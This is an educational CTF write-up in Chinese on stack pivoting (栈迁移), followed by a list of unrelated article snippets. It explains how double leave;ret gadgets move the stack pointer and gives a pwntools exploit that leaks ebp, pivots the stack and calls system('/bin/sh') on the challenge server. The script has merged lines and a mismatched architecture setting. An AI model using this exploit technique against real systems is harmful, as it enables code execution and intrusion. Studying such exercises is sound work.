PWN-栈迁移

栈迁移

题目:BUUCTF在线评测 (buuoj.cn)

知识点:栈迁移

  1. 使用情况:题目中有栈溢出,但是 栈溢出的范围 有限,导致构造的ROP链不能完全写入到栈中,此时需要进行栈迁移,将栈迁移到能接受更多数据的位置(改变相继sp、bp寄存器的值),位函数调用、传参构造一个新的栈空间。

  2. 函数调用时,无论传参、存bp值还是存返回值都是用栈完成(以32位为例),在普通的栈溢出情况下构造ROP也无非是重新为函数的调用构造了一个 新栈 ,而 栈的位置由sp寄存器 的值确定。

  3. 要改变sp、bp寄存器,拿必定不能使用程序原先在栈上保存的bp寄存器值,所以要将其 覆盖掉 ,如何改变sp和bp即为栈迁移的关键。

  4. 改变sp、bp的关键在于函数退出时的 leave;ret -> mov sp,bp;popbp 指令,这组指令通常是被用来恢复函数的调用的栈帧,时程序返回后仍能正常运行,其与函数开头的 push;mov指令(用来生成栈帧)相反,先看这篇了解栈帧的相关知识 PWN入门–栈溢出_pwn栈溢出-CSDN博客:

    image-20240601192020502

    image-20240601192244862

  5. 改变sp、bp需要用到 两层leave;ret 指令,将我们用来覆盖的值传递给sp寄存器,因为一层leave;ret 指令只能将bp寄存器的值改变,无法改变sp寄存器(原因:利用栈溢出无法在 mov sp,bp 指令前直接修改bp寄存器),但是第二层leave;ret 可以借助第一次修改的bp寄存器值来更新sp寄存器。因此,可以用 覆盖值 (覆盖掉bp寄存器指向的栈空间上的值)来更新sp寄存器。

    • 以该例题为例子进行调试:

    • 进入vul函数时,栈上的状态:

      image-20240601211007396

      image-20240601211509331

    • 可见bp寄存器中存储着地址 0xffffcfd8(调用者的sp寄存器值),bp所指向的栈空间上的值为 0xffffcfe8 (调用者的sp寄存器值,指向栈低)。

    • 此时输入0x30个字符来覆盖bp和其下面的返回值:

      image-20240601211355099

    • 可见bp寄存器指向的栈空间已经被覆盖(数据随便输入,仅实验用),后面的函数返回地址也被修改,此时执行最后的 leave;ret 指令,观寄存器的变化,可见bp寄存器的值已经被我们用来覆盖的值替换了,但是sp寄存器的值任然正常(因为push bp和ret,导致sp寄存器在原bp寄存器的基础上+8):

      image-20240601211836403

    • 此时如果将返回值替换为一组 leave;ret地址,修改ip值,再执行一次leave,那么sp寄存器将变化为 bp寄存器中的值+4 ,于是完成栈迁移过程,所以 新的返回值 就在 (bp)+4地址处,执行ret指令即可改变ip为该返回值,调用该处函数:

    • 第一次 leave;ret

      image-20240601212358780

    • 第二次 leave;ret

      image-20240601212410397

题解:

  1. vul函数中read函数值给了0x30个输入空间,只能覆盖到函数的返回值处(前面调试过),虽然存在后门函数hack,但是其参数不是 /bin/sh,在构造ROP时需要修改参数,者导致ROP链的长度超过了read的读取范围,一次考虑栈迁移:

    image-20240601213220865

    image-20240601213234098

  2. 栈迁移的位置因考虑在read的读取范围之内,首先应该考虑栈迁移的目标位置target,直接选择输入s的首地址即可,在 bp-0x38 处,所以首先需要 泄漏数bp处栈上 的值:

    image-20240601215613932

  3. printf函数将s以字符串的形式输出,遇到空白符才终止,所以只要将分配给s的空间全部填满即可泄漏bp处的地址,gbd调试如下:

    image-20240601220413055

    image-20240601220503921

  4. 迁移完成后,ret的返回值就在bp-0x38+4处,调用后函数的返回值就在bp-0x38+4+4(随便填),传递的 参数的地址 (参数“/bin/sh”需要手动写入,地址需要手动计算相对于bp的偏移bp-0x38+4+4+4+4)就放在bp-0x38+4+4+4,“/bin/sh”放在地址 bp-0x38+4+4+4+4 处。

  5. EXP如下:

    from pwn import *
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')p=remote('node5.buuoj.cn',28101)
    flag = []
    sys_addr = 0x08048400
    leave_ret = 0x08048562
    p.recvuntil("Welcome, my friend. What's your name?\n")#先泄漏出ebp地址,printf以字符串形式输出s,直到遇到空白符停止,所以可以泄漏ebp的值
    payload1= 0x20*b"a"+b"b"*0x8
    p.send(payload1)
    p.recvuntil("b"*0x8)
    ebp_addr=u32(p.recv(4))
    log.success('ebp==>'+hex(ebp_addr))#进行栈迁移
    payload2 = (b"aaaa"+p32(sys_addr)+p32(0)+p32(ebp_addr-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38) + p32(leave_ret)
    p.send(payload2)
    p.recvuntil(b'Hello, aaaa\n')
    p.sendline(b'cat flag')flag.append(p.recv().decode()[0:len(flag)-1])
    p.interactive()print(flag)
    

    image-20240601221641973

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/20626.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

go语言基于Gin集成后台管理系统开发定时任务管理cron/v3好用又好看

系统目前是支持两种定时类型,一种是函数类型,一种是接口类型,来支持多样的业务;时间周期可视化选择,方便设定执行周期。框架UI漂亮,添加管理定时任务设置简单,客户都可以做自己调整执行时间周期…

win10环境下nodejs安装过程

打开 https://nodejs.org/en/官网下载node.js 2.下载完成后的安装文件为node-v16.16.0-x64.msi,双击进行安装即可。 3.一直默认安装,记得可以更改安装路径 4.其他不用打勾,一直next,安装完成即可。 5.安装完成后,wi…

集成建筑5G商城为建筑行业开拓新方向

集成建筑5G商城为建筑行业开拓新方向 建筑业在我国有着悠久的发展历史,近年来,伴随着我国经济的快速增长、城镇化步伐加快,我国房地产、建筑业持续增长,建筑业显现出巨大的发展潜力。建筑行业近年来始终保持较高的增长速度。根据…

论文作图之高压缩比导出PDF

笔者使用Adobe Illustrator 2023创建可编辑pdf图,按照默认的导出设置保存pdf文件时,得到的图存储很大。为了解决存储过大且还保留一定编辑功能的问题,作者实践出了一种导出pdf的设置方法。 首先在AI中点击文件->存储为,点击保…

纯Java实现Google地图的KMZ和KML文件的解析

目录 前言 一、关于KMZ和KML 1、KMZ是什么 2、KML是什么 二、Java解析实例 1、POM.xml引用 2、KML 基类定义 3、空间对象的定义 4、Kml解析工具类 三、KML文件的解析 1、KML解析测试 2、KMZ解析测试 四、总结 前言 今天是六.一儿童节,在这里祝各位大朋友…

el-table超过宽度强制显示滚动条

使用css强制显示: .el-table .el-table__body-wrapper::-webkit-scrollbar {display: block; }

基础—SQL—DCL(数据控制语言)之用户管理

一、引言 分类全称描述DCLData Control Language(数据控制语言)用来创建和管理数据库用户以及控制数据库的访问权限 1、图解 右边的是我们的 MySQL 的数据库服务器,左边是假设的两个用户 1、 DCL 主要控制的就是有哪些用户可以来访问这台 My…

Python学习需要哪些知识基础?

基础知识是非常重要的,这些内容确实是Python学习的基础。我这里有一套编程入门教程,不仅包含了详细的视频讲解,项目实战。如果你渴望学习编程,不妨点个关注,给个评论222,私信22,我在后台发给你。…

各大平台取消一年期免费SSL证书后,如何申请超长期免费SSL证书

一:为什么一定要用SSL证书 SSL证书是一种提供网络安全的协议,主要作用是提供对用户和服务器的认证以及确保传送的数据进行加密和隐藏,从而保证数据的完整性和安全性。网站安装SSL证书后就可以实现HTTPS访问,消除网站访问不安全提…

ssm汉服文化平台网站

博主介绍:✌程序员徐师兄、8年大厂程序员经历。全网粉丝15w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…

04Linux文件系统

课程目标 1、了解Linux操作系统的硬盘分区信息 2、了解Linux操作系统重各目录的作用 3、了解Linux的启动级别以及关机和重启命令 课程实验 在xshell中使用df -h ,df -T,du -sh,fdisk -|,cd ,pwd 使用top ,free,cat/proc/xxx…

JavaScript实现平滑滚动

● 本次我们将实现点击按钮时候,可以平滑得滚动到指定位置 ● 首先我们获取到按钮信息和想要滚动到得章节 const btnScrollTo document.querySelector(.btn--scroll-to); const section1 document.querySelector(#section--1);● 下一步就是添加点击事件了 bt…

Java八股文面试全套真题

Java八股文面试全套真题 一、Redis1.1、你在最近的项目中哪些场景使用了redis呢?1.2、缓存穿透1.3、布隆过滤器1.4、缓存击穿1.5、缓存雪崩1.6、redis做为缓存,mysql的数据如何与redis进行同步呢?(双写一致性)1.6.1、读…

进程与线程(一)

进程与线程(一) 理解什么是并发编程进程的相关概念什么是进程对比进程和程序理解进程是一个独立的可调度的任务理解进程是程序执行和资源管理的最小单位进程状态转换图进程的种类 进程相关命令进程状态标志ps命令-aux:-axj:(可以查看到进程的PPID)pstree…

浅析R16移动性增强那些事儿(DAPS/CHO/MRO)

R16移动性增强相关技术总结 Dual Active Protocol Handover Dual Active Protocol Handover意为双激活协议栈切换,下文简称DAPS切换,DAPS切换的核心思想是切换过程中,在UE成功连接到目标基站前继续保持和源基站的连接和数据传输,…

【全开源】Java共享台球室无人系统支持微信小程序+微信公众号+H5

智能引领台球新体验 一、引言:共享经济的新篇章 在共享经济的大潮中,各类共享服务层出不穷,为人们的生活带来了极大的便利。共享台球室作为其中的一员,以其独特的魅力吸引了众多台球爱好者的目光。而今天,我们要介绍…

【通信专题】I2C上拉电阻计算方法

I2C 通信总线是电子设计中常见的总线之一,由于 I2C 的硬件芯片内部为开漏输出,所以要求在外部增加一个上拉电阻,总线上拉电阻的选取受多个因素的影响,因此如何计算 I2C 总线的上拉电阻阻值成为硬件工程师在使用 I2C总统时需要关注的话题。 从本质上讲: I2C 总线电容和上升…

算法第三天力扣第69题:X的平方根

69. x 的平方根 (可点击下面链接或复制网址进行做题) https://leetcode.cn/problems/sqrtx/https://leetcode.cn/problems/sqrtx/ 给你一个非负整数 x ,计算并返回 x 的 算术平方根 。 由于返回类型是整数,结果只保留 整数部分 ,小数部分将被 舍去 。 注意:不允许使用任何内…

基于Qt GraphicView 解析 CIM/G 电力接线图文件

本文讲述了如何使用Qt的框架来渲染展示标准的CIM/G格式的图形文件,也就是公用信息模型(common information model,CIM)中的G文件部分的内容。这是一种电力系统图形的交换规则,用于电网图形交换。 [by amjieker] CIM/G …

C# WinForm —— 26 ImageList 介绍

1. 简介 图片集合,用于存储图像的资源,并在关联控件中显示出来 可以通过 索引、键名 访问每张图片 没有事件 2. 属性 属性解释(Name)控件ID,在代码里引用的时候会用到,一般以 imgList 开头ClolorDepth用于呈现图像的颜色数,默…